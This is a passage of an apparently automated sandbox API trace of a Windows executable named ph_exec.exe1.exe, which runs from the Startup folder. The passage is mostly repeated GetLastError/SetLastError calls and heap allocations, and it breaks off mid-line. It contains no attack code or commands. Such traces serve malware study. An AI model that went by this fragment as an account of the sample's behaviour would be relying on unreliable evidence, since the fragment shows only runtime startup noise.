lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xa5\x44\x7e\xfa\xec\xfb\x3b", lpUsedDefaultChar=0x0) returned 256 [0141.788] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x128f728, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe1.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe1.exe")) returned 0x4d [0141.789] GetLastError () returned 0x0 [0141.789] SetLastError (dwErrCode=0x0) [0141.789] GetLastError () returned 0x0 [0141.789] SetLastError (dwErrCode=0x0) [0141.789] GetLastError () returned 0x0 [0141.789] SetLastError (dwErrCode=0x0) [0141.789] GetLastError () returned 0x0 [0141.789] SetLastError (dwErrCode=0x0) [0141.789] GetLastError () returned 0x0 [0141.790] SetLastError (dwErrCode=0x0) [0141.790] GetLastError () returned 0x0 [0141.790] SetLastError (dwErrCode=0x0) [0141.790] GetLastError () returned 0x0 [0141.790] SetLastError (dwErrCode=0x0) [0141.790] GetLastError () returned 0x0 [0141.790] SetLastError (dwErrCode=0x0) [0141.790] GetLastError () returned 0x0 [0141.790] SetLastError (dwErrCode=0x0) [0141.790] GetLastError () returned 0x0 [0141.790] SetLastError (dwErrCode=0x0) [0141.790] GetLastError () returned 0x0 [0141.790] SetLastError (dwErrCode=0x0) [0141.790] GetLastError () returned 0x0 [0141.790] SetLastError (dwErrCode=0x0) [0141.790] GetLastError () returned 0x0 [0141.791] SetLastError (dwErrCode=0x0) [0141.791] GetLastError () returned 0x0 [0141.791] SetLastError (dwErrCode=0x0) [0141.791] GetLastError () returned 0x0 [0141.791] SetLastError (dwErrCode=0x0) [0141.791] GetLastError () returned 0x0 [0141.791] SetLastError (dwErrCode=0x0) [0141.791] GetLastError () returned 0x0 [0141.791] SetLastError (dwErrCode=0x0) [0141.791] GetLastError () returned 0x0 [0141.791] SetLastError (dwErrCode=0x0) [0141.791] GetLastError () returned 0x0 [0141.791] SetLastError (dwErrCode=0x0) [0141.791] GetLastError () returned 0x0 [0141.791] SetLastError (dwErrCode=0x0) [0141.791] GetLastError () returned 0x0 [0141.791] SetLastError (dwErrCode=0x0) [0141.791] GetLastError () returned 0x0 [0141.791] SetLastError (dwErrCode=0x0) [0141.791] GetLastError () returned 0x0 [0141.792] SetLastError (dwErrCode=0x0) [0141.792] GetLastError () returned 0x0 [0141.792] SetLastError (dwErrCode=0x0) [0141.792] GetLastError () returned 0x0 [0141.792] SetLastError (dwErrCode=0x0) [0141.792] GetLastError () returned 0x0 [0141.792] SetLastError (dwErrCode=0x0) [0141.792] GetLastError () returned 0x0 [0141.792] SetLastError (dwErrCode=0x0) [0141.792] GetLastError () returned 0x0 [0141.792] SetLastError (dwErrCode=0x0) [0141.792] GetLastError () returned 0x0 [0141.792] SetLastError (dwErrCode=0x0) [0141.792] GetLastError () returned 0x0 [0141.792] SetLastError (dwErrCode=0x0) [0141.792] GetLastError () returned 0x0 [0141.792] SetLastError (dwErrCode=0x0) [0141.792] GetLastError () returned 0x0 [0141.792] SetLastError (dwErrCode=0x0) [0141.792] GetLastError () returned 0x0 [0141.793] SetLastError (dwErrCode=0x0) [0141.793] GetLastError () returned 0x0 [0141.793] SetLastError (dwErrCode=0x0) [0141.793] GetLastError () returned 0x0 [0141.793] SetLastError (dwErrCode=0x0) [0141.793] GetLastError () returned 0x0 [0141.793] SetLastError (dwErrCode=0x0) [0141.793] GetLastError () returned 0x0 [0141.793] SetLastError (dwErrCode=0x0) [0141.793] GetLastError () returned 0x0 [0141.793] SetLastError (dwErrCode=0x0) [0141.793] GetLastError () returned 0x0 [0141.793] SetLastError (dwErrCode=0x0) [0141.793] GetLastError () returned 0x0 [0141.793] SetLastError (dwErrCode=0x0) [0141.793] GetLastError () returned 0x0 [0141.793] SetLastError (dwErrCode=0x0) [0141.793] GetLastError () returned 0x0 [0141.793] SetLastError (dwErrCode=0x0) [0141.793] GetLastError () returned 0x0 [0141.794] SetLastError (dwErrCode=0x0) [0141.794] GetLastError () returned 0x0 [0141.794] SetLastError (dwErrCode=0x0) [0141.794] GetLastError () returned 0x0 [0141.794] SetLastError (dwErrCode=0x0) [0141.794] GetLastError () returned 0x0 [0141.794] SetLastError (dwErrCode=0x0) [0141.794] GetLastError () returned 0x0 [0141.794] SetLastError (dwErrCode=0x0) [0141.794] GetLastError () returned 0x0 [0141.794] SetLastError (dwErrCode=0x0) [0141.794] GetLastError () returned 0x0 [0141.794] SetLastError (dwErrCode=0x0) [0141.794] GetLastError () returned 0x0 [0141.794] SetLastError (dwErrCode=0x0) [0141.794] GetLastError () returned 0x0 [0141.794] SetLastError (dwErrCode=0x0) [0141.794] GetLastError () returned 0x0 [0141.794] SetLastError (dwErrCode=0x0) [0141.794] GetLastError () returned 0x0 [0141.795] SetLastError (dwErrCode=0x0) [0141.795] GetLastError () returned 0x0 [0141.795] SetLastError (dwErrCode=0x0) [0141.795] GetLastError () returned 0x0 [0141.795] SetLastError (dwErrCode=0x0) [0141.795] GetLastError () returned 0x0 [0141.795] SetLastError (dwErrCode=0x0) [0141.795] GetLastError () returned 0x0 [0141.795] SetLastError (dwErrCode=0x0) [0141.795] GetLastError () returned 0x0 [0141.795] SetLastError (dwErrCode=0x0) [0141.795] GetLastError () returned 0x0 [0141.795] SetLastError (dwErrCode=0x0) [0141.795] GetLastError () returned 0x0 [0141.795] SetLastError (dwErrCode=0x0) [0141.795] GetLastError () returned 0x0 [0141.795] SetLastError (dwErrCode=0x0) [0141.795] GetLastError () returned 0x0 [0141.795] SetLastError (dwErrCode=0x0) [0141.796] GetLastError () returned 0x0 [0141.796] SetLastError (dwErrCode=0x0) [0141.796] GetLastError () returned 0x0 [0141.796] SetLastError (dwErrCode=0x0) [0141.796] GetLastError () returned 0x0 [0141.796] SetLastError (dwErrCode=0x0) [0141.796] GetLastError () returned 0x0 [0141.796] SetLastError (dwErrCode=0x0) [0141.796] GetLastError () returned 0x0 [0141.796] SetLastError (dwErrCode=0x0) [0141.796] GetLastError () returned 0x0 [0141.796] SetLastError (dwErrCode=0x0) [0141.796] GetLastError () returned 0x0 [0141.796] SetLastError (dwErrCode=0x0) [0141.796] GetLastError () returned 0x0 [0141.796] SetLastError (dwErrCode=0x0) [0141.796] GetLastError () returned 0x0 [0141.796] SetLastError (dwErrCode=0x0) [0141.796] GetLastError () returned 0x0 [0141.796] SetLastError (dwErrCode=0x0) [0141.797] GetLastError () returned 0x0 [0141.797] SetLastError (dwErrCode=0x0) [0141.797] GetLastError () returned 0x0 [0141.797] SetLastError (dwErrCode=0x0) [0141.797] GetLastError () returned 0x0 [0141.797] SetLastError (dwErrCode=0x0) [0141.797] GetLastError () returned 0x0 [0141.797] SetLastError (dwErrCode=0x0) [0141.797] GetLastError () returned 0x0 [0141.797] SetLastError (dwErrCode=0x0) [0141.797] GetLastError () returned 0x0 [0141.797] SetLastError (dwErrCode=0x0) [0141.797] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x0, Size=0x56) returned 0xb61788 [0141.797] GetLastError () returned 0x0 [0141.797] SetLastError (dwErrCode=0x0) [0141.797] GetLastError () returned 0x0 [0141.797] SetLastError (dwErrCode=0x0) [0141.797] GetLastError () returned 0x0 [0141.797] SetLastError (dwErrCode=0x0) [0141.797] GetLastError () returned 0x0 [0141.797] SetLastError (dwErrCode=0x0) [0141.797] GetLastError () returned 0x0 [0141.798] SetLastError (dwErrCode=0x0) [0141.798] GetLastError () returned 0x0 [0141.798] SetLastError (dwErrCode=0x0) [0141.798] GetLastError () returned 0x0 [0141.798] SetLastError (dwErrCode=0x0) [0141.798] GetLastError () returned 0x0 [0141.798] SetLastError (dwErrCode=0x0) [0141.798] GetLastError () returned 0x0 [0141.798] SetLastError (dwErrCode=0x0) [0141.798] GetLastError () returned 0x0 [0141.798] SetLastError (dwErrCode=0x0) [0141.798] GetLastError () returned 0x0 [0141.798] SetLastError (dwErrCode=0x0) [0141.798] GetLastError () returned 0x0 [0141.798] SetLastError (dwErrCode=0x0) [0141.809] GetLastError () returned 0x0 [0141.809] SetLastError (dwErrCode=0x0) [0141.809] GetLastError () returned 0x0 [0141.809] SetLastError (dwErrCode=0x0) [0141.809] GetLastError () returned 0x0 [0141.809] SetLastError (dwErrCode=0x0) [0141.809] GetLastError () returned 0x0 [0141.809] SetLastError (dwErrCode=0x0) [0141.810] GetLastError () returned 0x0 [0141.810] SetLastError (dwErrCode=0x0) [0141.810] GetLastError () returned 0x0 [0141.810] SetLastError (dwErrCode=0x0) [0141.810] GetLastError () returned 0x0 [0141.810] SetLastError (dwErrCode=0x0) [0141.810] GetLastError () returned 0x0 [0141.810] SetLastError (dwErrCode=0x0) [0141.810] GetLastError () returned 0x0 [0141.810] SetLastError (dwErrCode=0x0) [0141.810] GetLastError () returned 0x0 [0141.810] SetLastError (dwErrCode=0x0) [0141.810] GetLastError () returned 0x0 [0141.810] SetLastError (dwErrCode=0x0) [0141.810] GetLastError () returned 0x0 [0141.810] SetLastError (dwErrCode=0x0) [0141.811] GetLastError () returned 0x0 [0141.811] SetLastError (dwErrCode=0x0) [0141.811] GetLastError () returned 0x0 [0141.811] SetLastError (dwErrCode=0x0) [0141.811] GetLastError () returned 0x0 [0141.811] SetLastError (dwErrCode=0x0) [0141.811] GetLastError () returned 0x0 [0141.811] SetLastError (dwErrCode=0x0) [0141.811] GetLastError () returned 0x0 [0141.811] SetLastError (dwErrCode=0x0) [0141.811] GetLastError () returned 0x0 [0141.811] SetLastError (dwErrCode=0x0) [0141.811] GetLastError () returned 0x0 [0141.811] SetLastError (dwErrCode=0x0) [0141.811] GetLastError () returned 0x0 [0141.811] SetLastError (dwErrCode=0x0) [0141.812] GetLastError () returned 0x0 [0141.812] SetLastError (dwErrCode=0x0) [0141.812] GetLastError () returned 0x0 [0141.812] SetLastError (dwErrCode=0x0) [0141.812] GetLastError () returned 0x0 [0141.812] SetLastError (dwErrCode=0x0) [0141.812] GetLastError () returned 0x0 [0141.812] SetLastError (dwErrCode=0x0) [0141.812] GetLastError () returned 0x0 [0141.812] SetLastError (dwErrCode=0x0) [0141.812] GetLastError () returned 0x0 [0141.812] SetLastError (dwErrCode=0x0) [0141.812] GetLastError () returned 0x0 [0141.812] SetLastError (dwErrCode=0x0) [0141.812] GetLastError () returned 0x0 [0141.813] SetLastError (dwErrCode=0x0) [0141.813] GetLastError () returned 0x0 [0141.813] SetLastError (dwErrCode=0x0) [0141.813] GetLastError () returned 0x0 [0141.813] SetLastError (dwErrCode=0x0) [0141.813] GetLastError () returned 0x0 [0141.813] SetLastError (dwErrCode=0x0) [0141.813] GetLastError () returned 0x0 [0141.813] SetLastError (dwErrCode=0x0) [0141.813] GetLastError () returned 0x0 [0141.813] SetLastError (dwErrCode=0x0) [0141.813] GetLastError () returned 0x0 [0141.813] SetLastError (dwErrCode=0x0) [0141.813] GetLastError () returned 0x0 [0141.813] SetLastError (dwErrCode=0x0) [0141.813] GetLastError () returned 0x0 [0141.814] SetLastError (dwErrCode=0x0) [0141.814] GetLastError () returned 0x0 [0141.814] SetLastError (dwErrCode=0x0) [0141.814] GetLastError () returned 0x0 [0141.814] SetLastError (dwErrCode=0x0) [0141.814] GetLastError () returned 0x0 [0141.814] SetLastError (dwErrCode=0x0) [0141.814] GetLastError () returned 0x0 [0141.814] SetLastError (dwErrCode=0x0) [0141.814] GetLastError () returned 0x0 [0141.814] SetLastError (dwErrCode=0x0) [0141.814] GetLastError () returned 0x0 [0141.814] SetLastError (dwErrCode=0x0) [0141.814] GetLastError () returned 0x0 [0141.814] SetLastError (dwErrCode=0x0) [0141.814] GetLastError () returned 0x0 [0141.815] SetLastError (dwErrCode=0x0) [0141.815] GetLastError () returned 0x0 [0141.815] SetLastError (dwErrCode=0x0) [0141.815] GetLastError () returned 0x0 [0141.815] SetLastError (dwErrCode=0x0) [0141.815] GetLastError () returned 0x0 [0141.815] SetLastError (dwErrCode=0x0) [0141.815] GetLastError () returned 0x0 [0141.815] SetLastError (dwErrCode=0x0) [0141.815] GetLastError () returned 0x0 [0141.816] SetLastError (dwErrCode=0x0) [0141.816] GetLastError () returned 0x0 [0141.816] SetLastError (dwErrCode=0x0) [0141.816] GetLastError () returned 0x0 [0141.816] SetLastError (dwErrCode=0x0) [0141.816] GetLastError () returned 0x0 [0141.816] SetLastError (dwErrCode=0x0) [0141.816] GetLastError () returned 0x0 [0141.816] SetLastError (dwErrCode=0x0) [0141.816] GetLastError () returned 0x0 [0141.816] SetLastError (dwErrCode=0x0) [0141.816] GetLastError () returned 0x0 [0141.816] SetLastError (dwErrCode=0x0) [0141.816] GetLastError () returned 0x0 [0141.816] SetLastError (dwErrCode=0x0) [0141.817] GetLastError () returned 0x0 [0141.817] SetLastError (dwErrCode=0x0) [0141.817] GetLastError () returned 0x0 [0141.817] SetLastError (dwErrCode=0x0) [0141.817] GetLastError () returned 0x0 [0141.817] SetLastError (dwErrCode=0x0) [0141.817] GetLastError () returned 0x0 [0141.817] SetLastError (dwErrCode=0x0) [0141.817] GetLastError () returned 0x0 [0141.817] SetLastError (dwErrCode=0x0) [0141.817] GetLastError () returned 0x0 [0141.817] SetLastError (dwErrCode=0x0) [0141.817] GetLastError () returned 0x0 [0141.817] SetLastError (dwErrCode=0x0) [0141.817] GetLastError () returned 0x0 [0141.818] SetLastError (dwErrCode=0x0) [0141.818] GetLastError () returned 0x0 [0141.818] SetLastError (dwErrCode=0x0) [0141.818] GetLastError () returned 0x0 [0141.818] SetLastError (dwErrCode=0x0) [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x98) returned 0xb617e8 [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x1f) returned 0xb61888 [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x28) returned 0xb618b0 [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x37) returned 0xb618e0 [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x3c) returned 0xb61920 [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x31) returned 0xb61968 [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x14) returned 0xb619a8 [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x24) returned 0xb619c8 [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0xd) returned 0xb619f8 [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x17) returned 0xb61a10 [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x2b) returned 0xb61a30 [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x15) returned 0xb61a68 [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x17) returned 0xb61a88 [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x22) returned 0xb61aa8 [0141.818] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0xe) returned 0xb61ad8 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0xc2) returned 0xb61af0 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x3e) returned 0xb61bc0 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x1b) returned 0xb61c08 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x1d) returned 0xb61c30 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x48) returned 0xb61c58 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x12) returned 0xb61ca8 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x18) returned 0xb61cc8 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x1b) returned 0xb61ce8 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x24) returned 0xb61d10 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x29) returned 0xb61d40 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x1e) returned 0xb61d78 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x6b) returned 0xb61da0 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x17) returned 0xb61e18 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x14) returned 0xb61e38 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0xf) returned 0xb61e58 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x16) returned 0xb61e70 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x28) returned 0xb61e90 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x27) returned 0xb61ec0 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x12) returned 0xb61ef0 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x21) returned 0xb61f10 [0141.819] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x10) returned 0xb61f40 [0141.820] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x1c) returned 0xb61f58 [0141.820] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x12) returned 0xb61f80 [0141.820] HeapFree (in: hHeap=0xb60000, dwFlags=0x0, lpMem=0xb60fd0 | out: hHeap=0xb60000) returned 1 [0141.820] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0141.820] RtlAllocateHeap (HeapHandle=0xb60000, Flags=0x8, Size=0x80) returned 0xb60fd0 [0141.820] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1288136) returned 0x0 [0141.821] RtlSizeHeap (HeapHandle=0xb60000, Flags=0x0, MemoryPointer=0xb60fd0) returned 0x80 [0141.821] GetLastError () returned 0x0 [0141.821] SetLastError (dwErrCode=0x0) [0141.821] GetLastError () returned 0x0 [0141.821] SetLastError (dwErrCode=0x0) [0141.821] GetLastError () returned 0x0 [0141.821] SetLastError (dwErrCode=0x0) [0141.821] GetLastError () returned 0x0 [0141.821] SetLastError (dwErrCode=0x0) [0141.821] GetLastError () returned 0x0 [0141.821] SetLastError (dwErrCode=0x0) [0141.821] GetLastError () returned 0x0 [0141.821] SetLastError (dwErrCode=0x0) [0141.821] GetLastError () returned 0x0 [0141.822] SetLastError (dwErrCode=0x0) [0141.822] GetLastError () returned 0x0 [0141.822] SetLastError (dwErrCode=0x0) [0141.822] GetLastError () returned 0x0 [0141.822] SetLastError (dwErrCode=0x0) [0141.822] GetLastError () returned 0x0 [0141.822] SetLastError (dwErrCode=0x0) [0141.822] GetLastError () returned 0x0 [0141.822] SetLastError (dwErrCode=0x0) [0141.822] GetLastError () returned 0x0 [0141.822] SetLastError (dwErrCode=0x0) [0141.822] GetLastError () returned 0x0 [0141.822] SetLastError (dwErrCode=0x0) [0141.822] GetLastError () returned 0x0 [0141.822] SetLastError (dwErrCode=0x0) [0141.822] GetLastError () returned 0x0 [0141.823] SetLastError (dwErrCode=0x0) [0141.823] GetLastError () returned 0x0 [0141.823] SetLastError (dwErrCode=0x0) [0141.823] GetLastError () returned 0x0 [0141.823] SetLastError (dwErrCode=0x0) [0141.823] GetLastError () returned 0x0 [0141.823] SetLastError (dwErrCode=0x0) [0141.823] GetLastError () returned 0x0 [0141.823] SetLastError (dwErrCode=0x0) [0141.823] GetLastError () returned 0x0 [0141.823] SetLastError (dwErrCode=0x0) [0141.823] GetLastError () returned 0x0 [0141.823] SetLastError (dwErrCode=0x0) [0141.823] GetLastError () returned 0x0 [0141.823] SetLastError (dwErrCode=0x0) [0141.823] GetLastError () returned 0x0 [0141.824] SetLastError (dwErrCode=0x0) [0141.824] GetLastError () returned 0x0 [0141.824] SetLastError (dwErrCode=0x0) [0141.824] GetLastError () returned 0x0 [0141.824] SetLastError (dwErrCode=0x0) [0141.824] GetLastError () returned 0x0 [0141.824] SetLastError (dwErrCode=0x0) [0141.824] GetLastError () returned 0x0 [0141.824] SetLastError (dwErrCode=0x0) [0141.824] GetLastError () returned 0x0 [0141.824] SetLastError (dwErrCode=0x0) [0141.824] GetLastError () returned 0x0 [0141.824] SetLastError (dwErrCode=0x0) [0141.824] GetLastError () returned 0x0 [0141.824] SetLastError (dwErrCode=0x0) [0141.825] GetLastError () returned 0x0 [0141.825] SetLastError (dwErrCode=0x0) [0141.825] GetLastError () returned 0x0 [0141.825] SetLastError (dwErrCode=0x0) [0141.825] GetLastError () returned 0x0 [0141.825] SetLastError (dwErrCode=0x0) [0141.825] GetLastError () returned 0x0 [0141.825] SetLastError (dwErrCode=0x0) [0141.825] GetLastError () returned 0x0 [0141.825] SetLastError (dwErrCode=0x0) [0141.825] GetLastError () returned 0x0 [0141.825] SetLastError (dwErrCode=0x0) [0141.825] GetLastError () returned 0x0 [0141.825] SetLastError (dwErrCode=0x0) [0141.825] GetLastError () returned 0x0 [0141.825] SetLastError (dwErrCode=0x0) [0141.826] GetLastError () returned 0x0 [0141.826] SetLastError (dwErrCode=0x0) [0141.826] GetLastError () returned 0x0 [0141.826] SetLastError (dwErrCode=0x0) [0141.826] GetLastError () returned 0x0 [0141.826] SetLastError (dwErrCode=0x0) [0141.826] GetLastError () returned 0x0 [0141.826] SetLastError (dwErrCode=0x0) [0141.826] GetLastError () returned 0x0 [0141.826] SetLastError (dwErrCode=0x0) [0141.826] GetLastError () returned 0x0 [0141.826] SetLastError (dwErrCode=0x0) [0141.826] GetLastError () returned 0x0 [0141.826] SetLastError (dwErrCode=0x0) [0141.826] GetLastError () returned 0x0 [0141.827] SetLastError (dwErrCode=0x0) [0141.827] GetLastError () returned 0x0 [0141.827] SetLastError (dwErrCode=0x0) [0141.827] GetLastError () returned 0x0 [0141.827] SetLastError (dwErrCode=0x0) [0141.827] GetLastError () returned 0x0 [0141.827] SetLastError (dwErrCode=0x0) [0141.827] GetLastError () returned 0x0 [0141.827] SetLastError (dwErrCode=0x0) [0141.827] GetLastError () returned 0x0 [0141.827] SetLastError (dwErrCode=0x0) [0141.827] GetLastError () returned 0x0 [0141.827] SetLastError (dwErrCode=0x0) [0141.827] GetLastError () returned 0x0 [0141.827] SetLastError (dwErrCode=0x0) [0141.827] GetLastError () returned 0x0 [0141.828] SetLastError (dwErrCode=0x0) [0141.828] GetLastError () returned 0x0 [0141.828] SetLastError (dwErrCode=0x0) [0141.828] GetLastError () returned 0x0 [0141.828] SetLastError (dwErrCode=0x0) [0141.828] GetLastError () returned 0x0 [0141.828] SetLastError (dwErrCode=0x0) [0141.828] GetLastError () returned 0x0 [0141.828] SetLastError (dwErrCode=0x0) [0141.828] GetLastError () returned 0x0 [0141.828] SetLastError (dwErrCode=0x0) [0141.828] GetLastError () returned 0x0 [0141.828] SetLastError (dwErrCode=0x0) [0141.828] GetLastError () returned 0x0 [0141.828] SetLastError (dwErrCode=0x0) [0141.828] GetLastError () returned 0x0 [0141.829] SetLastError (dwErrCode=0x0) [0141.829] GetLastError () returned 0x0 [0141.829] SetLastError (dwErrCode=0x0) [0141.829] GetLastError () returned 0x0 [0141.829] SetLastError (dwErrCode=0x0) [0141.829] GetLastError () returned 0x0 [0141.829] SetLastError (dwErrCode=0x0) [0141.829] GetLastError () returned 0x0 [0141.829] SetLastError (dwErrCode=0x0) [0141.829] GetLastError () returned 0x0 [0141.829] SetLastError (dwErrCode=0x0) [0141.829] GetLastError () returned 0x0 [0141.829] SetLastError (dwErrCode=0x0) [0141.829] GetLastError () returned 0x0 [0141.829] SetLastError (dwErrCode=0x0) [0141.830] GetLastError () returned 0x0 [0141.830] SetLastError (dwErrCode=0x0) [0141.830] GetLastError () returned 0x0 [0141.830] SetLastError (dwErrCode=0x0) [0141.830] GetLastError () returned 0x0 [0141.830] SetLastError (dwErrCode=0x0) [0141.830] GetLastError () returned 0x0 [0141.830] SetLastError 